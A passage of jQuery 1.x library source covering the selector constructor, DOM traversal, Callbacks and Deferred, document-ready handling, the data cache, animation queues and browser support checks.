}
});
// Initialize a jQuery object
// A central reference to the root jQuery(document)
var rootjQuery,
// Use the correct document accordingly with window argument (sandbox)
document = window.document,
// A simple way to check for HTML strings
// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
// Strict HTML recognition (#11290: must start with <)
rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
init = jQuery.fn.init = function( selector, context ) {
var match, elem;
// HANDLE: $(""), $(null), $(undefined), $(false)
if ( !selector ) {
return this;
}
// Handle HTML strings
if ( typeof selector === "string" ) {
if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) {
// Assume that strings that start and end with <> are HTML and skip the regex check
match = [ null, selector, null ];
} else {
match = rquickExpr.exec( selector );
}
// Match html or make sure no context is specified for #id
if ( match && (match[1] || !context) ) {
// HANDLE: $(html) -> $(array)
if ( match[1] ) {
context = context instanceof jQuery ? context[0] : context;
// scripts is true for back-compat
// Intentionally let the error be thrown if parseHTML is not present
jQuery.merge( this, jQuery.parseHTML(
match[1],
context && context.nodeType ? context.ownerDocument || context : document,
true
) );
// HANDLE: $(html, props)
if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) {
for ( match in context ) {
// Properties of context are called as methods if possible
if ( jQuery.isFunction( this[ match ] ) ) {
this[ match ]( context[ match ] );
// ...and otherwise set as attributes
} else {
this.attr( match, context[ match ] );
}
}
}
return this;
// HANDLE: $(#id)
} else {
elem = document.getElementById( match[2] );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
if ( elem && elem.parentNode ) {
// Handle the case where IE and Opera return items
// by name instead of ID
if ( elem.id !== match[2] ) {
return rootjQuery.find( selector );
}
// Otherwise, we inject the element directly into the jQuery object
this.length = 1;
this[0] = elem;
}
this.context = document;
this.selector = selector;
return this;
}
// HANDLE: $(expr, $(...))
} else if ( !context || context.jquery ) {
return ( context || rootjQuery ).find( selector );
// HANDLE: $(expr, context)
// (which is just equivalent to: $(context).find(expr)
} else {
return this.constructor( context ).find( selector );
}
// HANDLE: $(DOMElement)
} else if ( selector.nodeType ) {
this.context = this[0] = selector;
this.length = 1;
return this;
// HANDLE: $(function)
// Shortcut for document ready
} else if ( jQuery.isFunction( selector ) ) {
return typeof rootjQuery.ready !== "undefined" ?
rootjQuery.ready( selector ) :
// Execute immediately if ready is not present
selector( jQuery );
}
if ( selector.selector !== undefined ) {
this.selector = selector.selector;
this.context = selector.context;
}
return jQuery.makeArray( selector, this );
};
// Give the init function the jQuery prototype for later instantiation
init.prototype = jQuery.fn;
// Initialize central reference
rootjQuery = jQuery( document );
var rparentsprev = /^(?:parents|prev(?:Until|All))/,
// methods guaranteed to produce a unique set when starting from a unique set
guaranteedUnique = {
children: true,
contents: true,
next: true,
prev: true
};
jQuery.extend({
dir: function( elem, dir, until ) {
var matched = [],
cur = elem[ dir ];
while ( cur && cur.nodeType !== 9 && (until === undefined || cur.nodeType !== 1 || !jQuery( cur ).is( until )) ) {
if ( cur.nodeType === 1 ) {
matched.push( cur );
}
cur = cur[dir];
}
return matched;
},
sibling: function( n, elem ) {
var r = [];
for ( ; n; n = n.nextSibling ) {
if ( n.nodeType === 1 && n !== elem ) {
r.push( n );
}
}
return r;
}
});
jQuery.fn.extend({
has: function( target ) {
var i,
targets = jQuery( target, this ),
len = targets.length;
return this.filter(function() {
for ( i = 0; i < len; i++ ) {
if ( jQuery.contains( this, targets[i] ) ) {
return true;
}
}
});
},
closest: function( selectors, context ) {
var cur,
i = 0,
l = this.length,
matched = [],
pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
jQuery( selectors, context || this.context ) :
0;
for ( ; i < l; i++ ) {
for ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) {
// Always skip document fragments
if ( cur.nodeType < 11 && (pos ?
pos.index(cur) > -1 :
// Don't pass non-elements to Sizzle
cur.nodeType === 1 &&
jQuery.find.matchesSelector(cur, selectors)) ) {
matched.push( cur );
break;
}
}
}
return this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched );
},
// Determine the position of an element within
// the matched set of elements
index: function( elem ) {
// No argument, return index in parent
if ( !elem ) {
return ( this[0] && this[0].parentNode ) ? this.first().prevAll().length : -1;
}
// index in selector
if ( typeof elem === "string" ) {
return jQuery.inArray( this[0], jQuery( elem ) );
}
// Locate the position of the desired element
return jQuery.inArray(
// If it receives a jQuery object, the first element is used
elem.jquery ? elem[0] : elem, this );
},
add: function( selector, context ) {
return this.pushStack(
jQuery.unique(
jQuery.merge( this.get(), jQuery( selector, context ) )
)
);
},
addBack: function( selector ) {
return this.add( selector == null ?
this.prevObject : this.prevObject.filter(selector)
);
}
});
function sibling( cur, dir ) {
do {
cur = cur[ dir ];
} while ( cur && cur.nodeType !== 1 );
return cur;
}
jQuery.each({
parent: function( elem ) {
var parent = elem.parentNode;
return parent && parent.nodeType !== 11 ? parent : null;
},
parents: function( elem ) {
return jQuery.dir( elem, "parentNode" );
},
parentsUntil: function( elem, i, until ) {
return jQuery.dir( elem, "parentNode", until );
},
next: function( elem ) {
return sibling( elem, "nextSibling" );
},
prev: function( elem ) {
return sibling( elem, "previousSibling" );
},
nextAll: function( elem ) {
return jQuery.dir( elem, "nextSibling" );
},
prevAll: function( elem ) {
return jQuery.dir( elem, "previousSibling" );
},
nextUntil: function( elem, i, until ) {
return jQuery.dir( elem, "nextSibling", until );
},
prevUntil: function( elem, i, until ) {
return jQuery.dir( elem, "previousSibling", until );
},
siblings: function( elem ) {
return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );
},
children: function( elem ) {
return jQuery.sibling( elem.firstChild );
},
contents: function( elem ) {
return jQuery.nodeName( elem, "iframe" ) ?
elem.contentDocument || elem.contentWindow.document :
jQuery.merge( [], elem.childNodes );
}
}, function( name, fn ) {
jQuery.fn[ name ] = function( until, selector ) {
var ret = jQuery.map( this, fn, until );
if ( name.slice( -5 ) !== "Until" ) {
selector = until;
}
if ( selector && typeof selector === "string" ) {
ret = jQuery.filter( selector, ret );
}
if ( this.length > 1 ) {
// Remove duplicates
if ( !guaranteedUnique[ name ] ) {
ret = jQuery.unique( ret );
}
// Reverse order for parents* and prev-derivatives
if ( rparentsprev.test( name ) ) {
ret = ret.reverse();
}
}
return this.pushStack( ret );
};
});
var rnotwhite = (/\S+/g);
// String to Object options format cache
var optionsCache = {};
// Convert String-formatted options into Object-formatted ones and store in cache
function createOptions( options ) {
var object = optionsCache[ options ] = {};
jQuery.each( options.match( rnotwhite ) || [], function( _, flag ) {
object[ flag ] = true;
});
return object;
}
/*
* Create a callback list using the following parameters:
*
* options: an optional list of space-separated options that will change how
* the callback list behaves or a more traditional option object
*
* By default a callback list will act like an event callback list and can be
* "fired" multiple times.
*
* Possible options:
*
* once: will ensure the callback list can only be fired once (like a Deferred)
*
* memory: will keep track of previous values and will call any callback added
* after the list has been fired right away with the latest "memorized"
* values (like a Deferred)
*
* unique: will ensure a callback can only be added once (no duplicate in the list)
*
* stopOnFalse: interrupt callings when a callback returns false
*
*/
jQuery.Callbacks = function( options ) {
// Convert options from String-formatted to Object-formatted if needed
// (we check in cache first)
options = typeof options === "string" ?
( optionsCache[ options ] || createOptions( options ) ) :
jQuery.extend( {}, options );
var // Flag to know if list is currently firing
firing,
// Last fire value (for non-forgettable lists)
memory,
// Flag to know if list was already fired
fired,
// End of the loop when firing
firingLength,
// Index of currently firing callback (modified by remove if needed)
firingIndex,
// First callback to fire (used internally by add and fireWith)
firingStart,
// Actual callback list
list = [],
// Stack of fire calls for repeatable lists
stack = !options.once && [],
// Fire callbacks
fire = function( data ) {
memory = options.memory && data;
fired = true;
firingIndex = firingStart || 0;
firingStart = 0;
firingLength = list.length;
firing = true;
for ( ; list && firingIndex < firingLength; firingIndex++ ) {
if ( list[ firingIndex ].apply( data[ 0 ], data[ 1 ] ) === false && options.stopOnFalse ) {
memory = false; // To prevent further calls using add
break;
}
}
firing = false;
if ( list ) {
if ( stack ) {
if ( stack.length ) {
fire( stack.shift() );
}
} else if ( memory ) {
list = [];
} else {
self.disable();
}
}
},
// Actual Callbacks object
self = {
// Add a callback or a collection of callbacks to the list
add: function() {
if ( list ) {
// First, we save the current length
var start = list.length;
(function add( args ) {
jQuery.each( args, function( _, arg ) {
var type = jQuery.type( arg );
if ( type === "function" ) {
if ( !options.unique || !self.has( arg ) ) {
list.push( arg );
}
} else if ( arg && arg.length && type !== "string" ) {
// Inspect recursively
add( arg );
}
});
})( arguments );
// Do we need to add the callbacks to the
// current firing batch?
if ( firing ) {
firingLength = list.length;
// With memory, if we're not firing then
// we should call right away
} else if ( memory ) {
firingStart = start;
fire( memory );
}
}
return this;
},
// Remove a callback from the list
remove: function() {
if ( list ) {
jQuery.each( arguments, function( _, arg ) {
var index;
while ( ( index = jQuery.inArray( arg, list, index ) ) > -1 ) {
list.splice( index, 1 );
// Handle firing indexes
if ( firing ) {
if ( index <= firingLength ) {
firingLength--;
}
if ( index <= firingIndex ) {
firingIndex--;
}
}
}
});
}
return this;
},
// Check if a given callback is in the list.
// If no argument is given, return whether or not list has callbacks attached.
has: function( fn ) {
return fn ? jQuery.inArray( fn, list ) > -1 : !!( list && list.length );
},
// Remove all callbacks from the list
empty: function() {
list = [];
firingLength = 0;
return this;
},
// Have the list do nothing anymore
disable: function() {
list = stack = memory = undefined;
return this;
},
// Is it disabled?
disabled: function() {
return !list;
},
// Lock the list in its current state
lock: function() {
stack = undefined;
if ( !memory ) {
self.disable();
}
return this;
},
// Is it locked?
locked: function() {
return !stack;
},
// Call all callbacks with the given context and arguments
fireWith: function( context, args ) {
if ( list && ( !fired || stack ) ) {
args = args || [];
args = [ context, args.slice ? args.slice() : args ];
if ( firing ) {
stack.push( args );
} else {
fire( args );
}
}
return this;
},
// Call all the callbacks with the given arguments
fire: function() {
self.fireWith( this, arguments );
return this;
},
// To know if the callbacks have already been called at least once
fired: function() {
return !!fired;
}
};
return self;
};
jQuery.extend({
Deferred: function( func ) {
var tuples = [
// action, add listener, listener list, final state
[ "resolve", "done", jQuery.Callbacks("once memory"), "resolved" ],
[ "reject", "fail", jQuery.Callbacks("once memory"), "rejected" ],
[ "notify", "progress", jQuery.Callbacks("memory") ]
],
state = "pending",
promise = {
state: function() {
return state;
},
always: function() {
deferred.done( arguments ).fail( arguments );
return this;
},
then: function( /* fnDone, fnFail, fnProgress */ ) {
var fns = arguments;
return jQuery.Deferred(function( newDefer ) {
jQuery.each( tuples, function( i, tuple ) {
var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
// deferred[ done | fail | progress ] for forwarding actions to newDefer
deferred[ tuple[1] ](function() {
var returned = fn && fn.apply( this, arguments );
if ( returned && jQuery.isFunction( returned.promise ) ) {
returned.promise()
.done( newDefer.resolve )
.fail( newDefer.reject )
.progress( newDefer.notify );
} else {
newDefer[ tuple[ 0 ] + "With" ]( this === promise ? newDefer.promise() : this, fn ? [ returned ] : arguments );
}
});
});
fns = null;
}).promise();
},
// Get a promise for this deferred
// If obj is provided, the promise aspect is added to the object
promise: function( obj ) {
return obj != null ? jQuery.extend( obj, promise ) : promise;
}
},
deferred = {};
// Keep pipe for back-compat
promise.pipe = promise.then;
// Add list-specific methods
jQuery.each( tuples, function( i, tuple ) {
var list = tuple[ 2 ],
stateString = tuple[ 3 ];
// promise[ done | fail | progress ] = list.add
promise[ tuple[1] ] = list.add;
// Handle state
if ( stateString ) {
list.add(function() {
// state = [ resolved | rejected ]
state = stateString;
// [ reject_list | resolve_list ].disable; progress_list.lock
}, tuples[ i ^ 1 ][ 2 ].disable, tuples[ 2 ][ 2 ].lock );
}
// deferred[ resolve | reject | notify ]
deferred[ tuple[0] ] = function() {
deferred[ tuple[0] + "With" ]( this === deferred ? promise : this, arguments );
return this;
};
deferred[ tuple[0] + "With" ] = list.fireWith;
});
// Make the deferred a promise
promise.promise( deferred );
// Call given func if any
if ( func ) {
func.call( deferred, deferred );
}
// All done!
return deferred;
},
// Deferred helper
when: function( subordinate /* , ..., subordinateN */ ) {
var i = 0,
resolveValues = slice.call( arguments ),
length = resolveValues.length,
// the count of uncompleted subordinates
remaining = length !== 1 || ( subordinate && jQuery.isFunction( subordinate.promise ) ) ? length : 0,
// the master Deferred. If resolveValues consist of only a single Deferred, just use that.
deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
// Update function for both resolve and progress values
updateFunc = function( i, contexts, values ) {
return function( value ) {
contexts[ i ] = this;
values[ i ] = arguments.length > 1 ? slice.call( arguments ) : value;
if ( values === progressValues ) {
deferred.notifyWith( contexts, values );
} else if ( !(--remaining) ) {
deferred.resolveWith( contexts, values );
}
};
},
progressValues, progressContexts, resolveContexts;
// add listeners to Deferred subordinates; treat others as resolved
if ( length > 1 ) {
progressValues = new Array( length );
progressContexts = new Array( length );
resolveContexts = new Array( length );
for ( ; i < length; i++ ) {
if ( resolveValues[ i ] && jQuery.isFunction( resolveValues[ i ].promise ) ) {
resolveValues[ i ].promise()
.done( updateFunc( i, resolveContexts, resolveValues ) )
.fail( deferred.reject )
.progress( updateFunc( i, progressContexts, progressValues ) );
} else {
--remaining;
}
}
}
// if we're not waiting on anything, resolve the master
if ( !remaining ) {
deferred.resolveWith( resolveContexts, resolveValues );
}
return deferred.promise();
}
});
// The deferred used on DOM ready
var readyList;
jQuery.fn.ready = function( fn ) {
// Add the callback
jQuery.ready.promise().done( fn );
return this;
};
jQuery.extend({
// Is the DOM ready to be used? Set to true once it occurs.
isReady: false,
// A counter to track how many items to wait for before
// the ready event fires. See #6781
readyWait: 1,
// Hold (or release) the ready event
holdReady: function( hold ) {
if ( hold ) {
jQuery.readyWait++;
} else {
jQuery.ready( true );
}
},
// Handle when the DOM is ready
ready: function( wait ) {
// Abort if there are pending holds or we're already ready
if ( wait === true ? --jQuery.readyWait : jQuery.isReady ) {
return;
}
// Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443).
if ( !document.body ) {
return setTimeout( jQuery.ready );
}
// Remember that the DOM is ready
jQuery.isReady = true;
// If a normal DOM Ready event fired, decrement, and wait if need be
if ( wait !== true && --jQuery.readyWait > 0 ) {
return;
}
// If there are functions bound, to execute
readyList.resolveWith( document, [ jQuery ] );
// Trigger any bound ready events
if ( jQuery.fn.triggerHandler ) {
jQuery( document ).triggerHandler( "ready" );
jQuery( document ).off( "ready" );
}
}
});
/**
* Clean-up method for dom ready events
*/
function detach() {
if ( document.addEventListener ) {
document.removeEventListener( "DOMContentLoaded", completed, false );
window.removeEventListener( "load", completed, false );
} else {
document.detachEvent( "onreadystatechange", completed );
window.detachEvent( "onload", completed );
}
}
/**
* The ready event handler and self cleanup method
*/
function completed() {
// readyState === "complete" is good enough for us to call the dom ready in oldIE
if ( document.addEventListener || event.type === "load" || document.readyState === "complete" ) {
detach();
jQuery.ready();
}
}
jQuery.ready.promise = function( obj ) {
if ( !readyList ) {
readyList = jQuery.Deferred();
// Catch cases where $(document).ready() is called after the browser event has already occurred.
// we once tried to use readyState "interactive" here, but it caused issues like the one
// discovered by ChrisS here: http://bugs.jquery.com/ticket/12282#comment:15
if ( document.readyState === "complete" ) {
// Handle it asynchronously to allow scripts the opportunity to delay ready
setTimeout( jQuery.ready );
// Standards-based browsers support DOMContentLoaded
} else if ( document.addEventListener ) {
// Use the handy event callback
document.addEventListener( "DOMContentLoaded", completed, false );
// A fallback to window.onload, that will always work
window.addEventListener( "load", completed, false );
// If IE event model is used
} else {
// Ensure firing before onload, maybe late but safe also for iframes
document.attachEvent( "onreadystatechange", completed );
// A fallback to window.onload, that will always work
window.attachEvent( "onload", completed );
// If IE and not a frame
// continually check to see if the document is ready
var top = false;
try {
top = window.frameElement == null && document.documentElement;
} catch(e) {}
if ( top && top.doScroll ) {
(function doScrollCheck() {
if ( !jQuery.isReady ) {
try {
// Use the trick by Diego Perini
// http://javascript.nwbox.com/IEContentLoaded/
top.doScroll("left");
} catch(e) {
return setTimeout( doScrollCheck, 50 );
}
// detach all dom ready events
detach();
// and execute any waiting functions
jQuery.ready();
}
})();
}
}
}
return readyList.promise( obj );
};
var strundefined = typeof undefined;
// Support: IE<9
// Iteration over object's inherited properties before its own
var i;
for ( i in jQuery( support ) ) {
break;
}
support.ownLast = i !== "0";
// Note: most support tests are defined in their respective modules.
// false until the test is run
support.inlineBlockNeedsLayout = false;
// Execute ASAP in case we need to set body.style.zoom
jQuery(function() {
// Minified: var a,b,c,d
var val, div, body, container;
body = document.getElementsByTagName( "body" )[ 0 ];
if ( !body || !body.style ) {
// Return for frameset docs that don't have a body
return;
}
// Setup
div = document.createElement( "div" );
container = document.createElement( "div" );
container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
body.appendChild( container ).appendChild( div );
if ( typeof div.style.zoom !== strundefined ) {
// Support: IE<8
// Check if natively block-level elements act like inline-block
// elements when setting their display to 'inline' and giving
// them layout
div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
if ( val ) {
// Prevent IE 6 from affecting layout for positioned elements #11048
// Prevent IE from shrinking the body in IE 7 mode #12869
// Support: IE<8
body.style.zoom = 1;
}
}
body.removeChild( container );
});
(function() {
var div = document.createElement( "div" );
// Execute the test only if not already executed in another module.
if (support.deleteExpando == null) {
// Support: IE<9
support.deleteExpando = true;
try {
delete div.test;
} catch( e ) {
support.deleteExpando = false;
}
}
// Null elements to avoid leaks in IE.
div = null;
})();
/**
* Determines whether an object can have data
*/
jQuery.acceptData = function( elem ) {
var noData = jQuery.noData[ (elem.nodeName + " ").toLowerCase() ],
nodeType = +elem.nodeType || 1;
// Do not set data on non-element DOM nodes because it will not be cleared (#8335).
return nodeType !== 1 && nodeType !== 9 ?
false :
// Nodes accept data unless otherwise specified; rejection can be conditional
!noData || noData !== true && elem.getAttribute("classid") === noData;
};
var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
rmultiDash = /([A-Z])/g;
function dataAttr( elem, key, data ) {
// If nothing was found internally, try to fetch any
// data from the HTML5 data-* attribute
if ( data === undefined && elem.nodeType === 1 ) {
var name = "data-" + key.replace( rmultiDash, "-$1" ).toLowerCase();
data = elem.getAttribute( name );
if ( typeof data === "string" ) {
try {
data = data === "true" ? true :
data === "false" ? false :
data === "null" ? null :
// Only convert to a number if it doesn't change the string
+data + "" === data ? +data :
rbrace.test( data ) ? jQuery.parseJSON( data ) :
data;
} catch( e ) {}
// Make sure we set the data so it isn't changed later
jQuery.data( elem, key, data );
} else {
data = undefined;
}
}
return data;
}
// checks a cache object for emptiness
function isEmptyDataObject( obj ) {
var name;
for ( name in obj ) {
// if the public data object is empty, the private is still empty
if ( name === "data" && jQuery.isEmptyObject( obj[name] ) ) {
continue;
}
if ( name !== "toJSON" ) {
return false;
}
}
return true;
}
function internalData( elem, name, data, pvt /* Internal Use Only */ ) {
if ( !jQuery.acceptData( elem ) ) {
return;
}
var ret, thisCache,
internalKey = jQuery.expando,
// We have to handle DOM nodes and JS objects differently because IE6-7
// can't GC object references properly across the DOM-JS boundary
isNode = elem.nodeType,
// Only DOM nodes need the global jQuery cache; JS object data is
// attached directly to the object so GC can occur automatically
cache = isNode ? jQuery.cache : elem,
// Only defining an ID for JS objects if its cache already exists allows
// the code to shortcut on the same path as a DOM node with no cache
id = isNode ? elem[ internalKey ] : elem[ internalKey ] && internalKey;
// Avoid doing any more work than we need to when trying to get data on an
// object that has no data at all
if ( (!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string" ) {
return;
}
if ( !id ) {
// Only DOM nodes need a new unique ID for each element since their data
// ends up in the global cache
if ( isNode ) {
id = elem[ internalKey ] = deletedIds.pop() || jQuery.guid++;
} else {
id = internalKey;
}
}
if ( !cache[ id ] ) {
// Avoid exposing jQuery metadata on plain JS objects when the object
// is serialized using JSON.stringify
cache[ id ] = isNode ? {} : { toJSON: jQuery.noop };
}
// An object can be passed to jQuery.data instead of a key/value pair; this gets
// shallow copied over onto the existing cache
if ( typeof name === "object" || typeof name === "function" ) {
if ( pvt ) {
cache[ id ] = jQuery.extend( cache[ id ], name );
} else {
cache[ id ].data = jQuery.extend( cache[ id ].data, name );
}
}
thisCache = cache[ id ];
// jQuery data() is stored in a separate object inside the object's internal data
// cache in order to avoid key collisions between internal data and user-defined
// data.
if ( !pvt ) {
if ( !thisCache.data ) {
thisCache.data = {};
}
thisCache = thisCache.data;
}
if ( data !== undefined ) {
thisCache[ jQuery.camelCase( name ) ] = data;
}
// Check for both converted-to-camel and non-converted data property names
// If a data property was specified
if ( typeof name === "string" ) {
// First Try to find as-is property data
ret = thisCache[ name ];
// Test for null|undefined property data
if ( ret == null ) {
// Try to find the camelCased property
ret = thisCache[ jQuery.camelCase( name ) ];
}
} else {
ret = thisCache;
}
return ret;
}
function internalRemoveData( elem, name, pvt ) {
if ( !jQuery.acceptData( elem ) ) {
return;
}
var thisCache, i,
isNode = elem.nodeType,
// See jQuery.data for more information
cache = isNode ? jQuery.cache : elem,
id = isNode ? elem[ jQuery.expando ] : jQuery.expando;
// If there is already no cache entry for this object, there is no
// purpose in continuing
if ( !cache[ id ] ) {
return;
}
if ( name ) {
thisCache = pvt ? cache[ id ] : cache[ id ].data;
if ( thisCache ) {
// Support array or space separated string names for data keys
if ( !jQuery.isArray( name ) ) {
// try the string as a key before any manipulation
if ( name in thisCache ) {
name = [ name ];
} else {
// split the camel cased version by spaces unless a key with the spaces exists
name = jQuery.camelCase( name );
if ( name in thisCache ) {
name = [ name ];
} else {
name = name.split(" ");
}
}
} else {
// If "name" is an array of keys...
// When data is initially created, via ("key", "val") signature,
// keys will be converted to camelCase.
// Since there is no way to tell _how_ a key was added, remove
// both plain key and camelCase key. #12786
// This will only penalize the array argument path.
name = name.concat( jQuery.map( name, jQuery.camelCase ) );
}
i = name.length;
while ( i-- ) {
delete thisCache[ name[i] ];
}
// If there is no data left in the cache, we want to continue
// and let the cache object itself get destroyed
if ( pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache) ) {
return;
}
}
}
// See jQuery.data for more information
if ( !pvt ) {
delete cache[ id ].data;
// Don't destroy the parent cache unless the internal data object
// had been the only thing left in it
if ( !isEmptyDataObject( cache[ id ] ) ) {
return;
}
}
// Destroy the cache
if ( isNode ) {
jQuery.cleanData( [ elem ], true );
// Use delete when supported for expandos or `cache` is not a window per isWindow (#10080)
/* jshint eqeqeq: false */
} else if ( support.deleteExpando || cache != cache.window ) {
/* jshint eqeqeq: true */
delete cache[ id ];
// When all else fails, null
} else {
cache[ id ] = null;
}
}
jQuery.extend({
cache: {},
// The following elements (space-suffixed to avoid Object.prototype collisions)
// throw uncatchable exceptions if you attempt to set expando properties
noData: {
"applet ": true,
"embed ": true,
// ...but Flash objects (which have this classid) *can* handle expandos
"object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
},
hasData: function( elem ) {
elem = elem.nodeType ? jQuery.cache[ elem[jQuery.expando] ] : elem[ jQuery.expando ];
return !!elem && !isEmptyDataObject( elem );
},
data: function( elem, name, data ) {
return internalData( elem, name, data );
},
removeData: function( elem, name ) {
return internalRemoveData( elem, name );
},
// For internal use only.
_data: function( elem, name, data ) {
return internalData( elem, name, data, true );
},
_removeData: function( elem, name ) {
return internalRemoveData( elem, name, true );
}
});
jQuery.fn.extend({
data: function( key, value ) {
var i, name, data,
elem = this[0],
attrs = elem && elem.attributes;
// Special expections of .data basically thwart jQuery.access,
// so implement the relevant behavior ourselves
// Gets all values
if ( key === undefined ) {
if ( this.length ) {
data = jQuery.data( elem );
if ( elem.nodeType === 1 && !jQuery._data( elem, "parsedAttrs" ) ) {
i = attrs.length;
while ( i-- ) {
name = attrs[i].name;
if ( name.indexOf("data-") === 0 ) {
name = jQuery.camelCase( name.slice(5) );
dataAttr( elem, name, data[ name ] );
}
}
jQuery._data( elem, "parsedAttrs", true );
}
}
return data;
}
// Sets multiple values
if ( typeof key === "object" ) {
return this.each(function() {
jQuery.data( this, key );
});
}
return arguments.length > 1 ?
// Sets one value
this.each(function() {
jQuery.data( this, key, value );
}) :
// Gets one value
// Try to fetch any internally stored data first
elem ? dataAttr( elem, key, jQuery.data( elem, key ) ) : undefined;
},
removeData: function( key ) {
return this.each(function() {
jQuery.removeData( this, key );
});
}
});
jQuery.extend({
queue: function( elem, type, data ) {
var queue;
if ( elem ) {
type = ( type || "fx" ) + "queue";
queue = jQuery._data( elem, type );
// Speed up dequeue by getting out quickly if this is just a lookup
if ( data ) {
if ( !queue || jQuery.isArray(data) ) {
queue = jQuery._data( elem, type, jQuery.makeArray(data) );
} else {
queue.push( data );
}
}
return queue || [];
}
},
dequeue: function( elem, type ) {
type = type || "fx";
var queue = jQuery.queue( elem, type ),
startLength = queue.length,
fn = queue.shift(),
hooks = jQuery._queueHooks( elem, type ),
next = function() {
jQuery.dequeue( elem, type );
};
// If the fx queue is dequeued, always remove the progress sentinel
if ( fn === "inprogress" ) {
fn = queue.shift();
startLength--;
}
if ( fn ) {
// Add a progress sentinel to prevent the fx queue from being
// automatically dequeued
if ( type === "fx" ) {
queue.unshift( "inprogress" );
}
// clear up the last queue stop function
delete hooks.stop;
fn.call( elem, next, hooks );
}
if ( !startLength && hooks ) {
hooks.empty.fire();
}
},
// not intended for public consumption - generates a queueHooks object, or returns the current one
_queueHooks: function( elem, type ) {
var key = type + "queueHooks";
return jQuery._data( elem, key ) || jQuery._data( elem, key, {
empty: jQuery.Callbacks("once memory").add(function() {
jQuery._removeData( elem, type + "queue" );
jQuery._removeData( elem, key );
})
});
}
});
jQuery.fn.extend({
queue: function( type, data ) {
var setter = 2;
if ( typeof type !== "string" ) {
data = type;
type = "fx";
setter--;
}
if ( arguments.length < setter ) {
return jQuery.queue( this[0], type );
}
return data === undefined ?
this :
this.each(function() {
var queue = jQuery.queue( this, type, data );
// ensure a hooks for this queue
jQuery._queueHooks( this, type );
if ( type === "fx" && queue[0] !== "inprogress" ) {
jQuery.dequeue( this, type );
}
});
},
dequeue: function( type ) {
return this.each(function() {
jQuery.dequeue( this, type );
});
},
clearQueue: function( type ) {
return this.queue( type || "fx", [] );
},
// Get a promise resolved when queues of a certain type
// are emptied (fx is the type by default)
promise: function( type, obj ) {
var tmp,
count = 1,
defer = jQuery.Deferred(),
elements = this,
i = this.length,
resolve = function() {
if ( !( --count ) ) {
defer.resolveWith( elements, [ elements ] );
}
};
if ( typeof type !== "string" ) {
obj = type;
type = undefined;
}
type = type || "fx";
while ( i-- ) {
tmp = jQuery._data( elements[ i ], type + "queueHooks" );
if ( tmp && tmp.empty ) {
count++;
tmp.empty.add( resolve );
}
}
resolve();
return defer.promise( obj );
}
});
var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
var cssExpand = [ "Top", "Right", "Bottom", "Left" ];
var isHidden = function( elem, el ) {
// isHidden might be called from jQuery#filter function;
// in that case, element will be second argument
elem = el || elem;
return jQuery.css( elem, "display" ) === "none" || !jQuery.contains( elem.ownerDocument, elem );
};
// Multifunctional method to get and set values of a collection
// The value/s can optionally be executed if it's a function
var access = jQuery.access = function( elems, fn, key, value, chainable, emptyGet, raw ) {
var i = 0,
length = elems.length,
bulk = key == null;
// Sets many values
if ( jQuery.type( key ) === "object" ) {
chainable = true;
for ( i in key ) {
jQuery.access( elems, fn, i, key[i], true, emptyGet, raw );
}
// Sets one value
} else if ( value !== undefined ) {
chainable = true;
if ( !jQuery.isFunction( value ) ) {
raw = true;
}
if ( bulk ) {
// Bulk operations run against the entire set
if ( raw ) {
fn.call( elems, value );
fn = null;
// ...except when executing function values
} else {
bulk = fn;
fn = function( elem, key, value ) {
return bulk.call( jQuery( elem ), value );
};
}
}
if ( fn ) {
for ( ; i < length; i++ ) {
fn( elems[i], key, raw ? value : value.call( elems[i], i, fn( elems[i], key ) ) );
}
}
}
return chainable ?
elems :
// Gets
bulk ?
fn.call( elems ) :
length ? fn( elems[0], key ) : emptyGet;
};
var rcheckableType = (/^(?:checkbox|radio)$/i);
(function() {
// Minified: var a,b,c
var input = document.createElement( "input" ),
div = document.createElement( "div" ),
fragment = document.createDocumentFragment();
// Setup
div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
// IE strips leading whitespace when .innerHTML is used
support.leadingWhitespace = div.firstChild.nodeType === 3;
// Make sure that tbody elements aren't automatically inserted
// IE will insert them into empty tables
support.tbody = !div.getElementsByTagName( "tbody" ).length;
// Make sure that link elements get serialized correctly by innerHTML
// This requires a wrapper element in IE
support.htmlSerialize = !!div.getElementsByTagName( "link" ).length;
// Makes sure cloning an html5 element does not cause problems
// Where outerHTML is undefined, this still works
support.html5Clone =
document.createElement( "nav" ).cloneNode( true ).outerHTML !== "<:nav></:nav>";
// Check if a disconnected checkbox will retain its checked
// value of true after appended to the DOM (IE6/7)
input.type = "checkbox";
input.checked = true;
fragment.appendChild( input );
support.appendChecked = input.checked;
// Make sure textarea (and checkbox) defaultValue is properly cloned
// Support: IE6-IE11+
div.innerHTML = "<textarea>x</textarea>";
support.noCloneChecked = !!div.cloneNode( true ).lastChild.defaultValue;
// #11217 - WebKit loses check when the name is after the checked attribute
fragment.appendChild( div );
div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
// Support: Safari 5.1, iOS 5.1, Android 4.x, Android 2.3
// old WebKit doesn't clone checked state correctly in fragments
support.checkClone = div.cloneNode( true ).cloneNode( true ).lastChild.checked;
// Support: IE<9
// Opera does not clone events (and typeof div.attachEvent === undefined).
// IE9-10 clones events bound via attachEvent, but they don't trigger with .click()
support.noCloneEvent = true;
if ( div.attachEvent ) {
div.attachEvent( "onclick", function() {
support.noCloneEvent = false;
